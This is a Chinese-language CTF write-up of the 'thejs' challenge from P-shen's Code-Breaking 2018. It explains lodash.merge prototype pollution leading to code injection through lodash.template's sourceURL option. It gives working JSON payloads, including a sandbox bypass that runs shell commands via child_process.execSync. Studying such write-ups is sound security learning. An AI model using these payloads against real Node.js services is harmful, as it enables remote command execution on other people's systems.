复现了下P神小密圈Code breaking 挑战赛的js题hard - thejs 
源码:https://github.com/phith0n/code-breaking/tree/master/2018/thejs
如果想要修改父对象的原型,有如下两种方式
- inst.constructor.prototype
- inst.__proto__
 那么推广一下的话,又有如下两种方式
- inst[constructor][prototype][]
- inst[__proto__][]
 所以也就是说只要找对数组进行操作的地方,我们就有可能完成对原型的污染。但是还要注意的是想办法赋值的- __proto__对象并不是真正的这个对象,所以想要写到真正的- __proto__中,我们需要一层赋值。
初始页面

审计代码,关键点如下

问题出在了lodashs.merge函数这里,这个函数存在原型链污染漏洞,会直接将注入原型的属性的值写去最底层的object。我们需要找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性,所以我们需要去寻找一个可以被利用的属性。
发现页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js中

恰好发现vscode提示sourceURLs,那就跟踪到这个函数看一下

可以看到options是一个对象,sourceURL是通过赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。
如果我们能够给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。
继续往下面看,最后sourceURL传递到了Function函数的第二个参数当中:

通过构造chile_process.exec()就可以执行任意代码了。
我们可以这么利用
| 1 | new Function("","//# sourceURL='xxx'\r\n CODE \r\n")(); | 
本来构造的是
| 1 | global.require("child_process").execSync("whoami").toString() | 
但是此题环境中有沙箱对此进行了限制,因此如下payload是无法成功的。需要对沙箱环境进行bypass
| 1 | {"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.require('child_process').execSync('whoami').to | 
最终paylaod如下
| 1 | {"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}} | 
注意下content-type要改成application/json
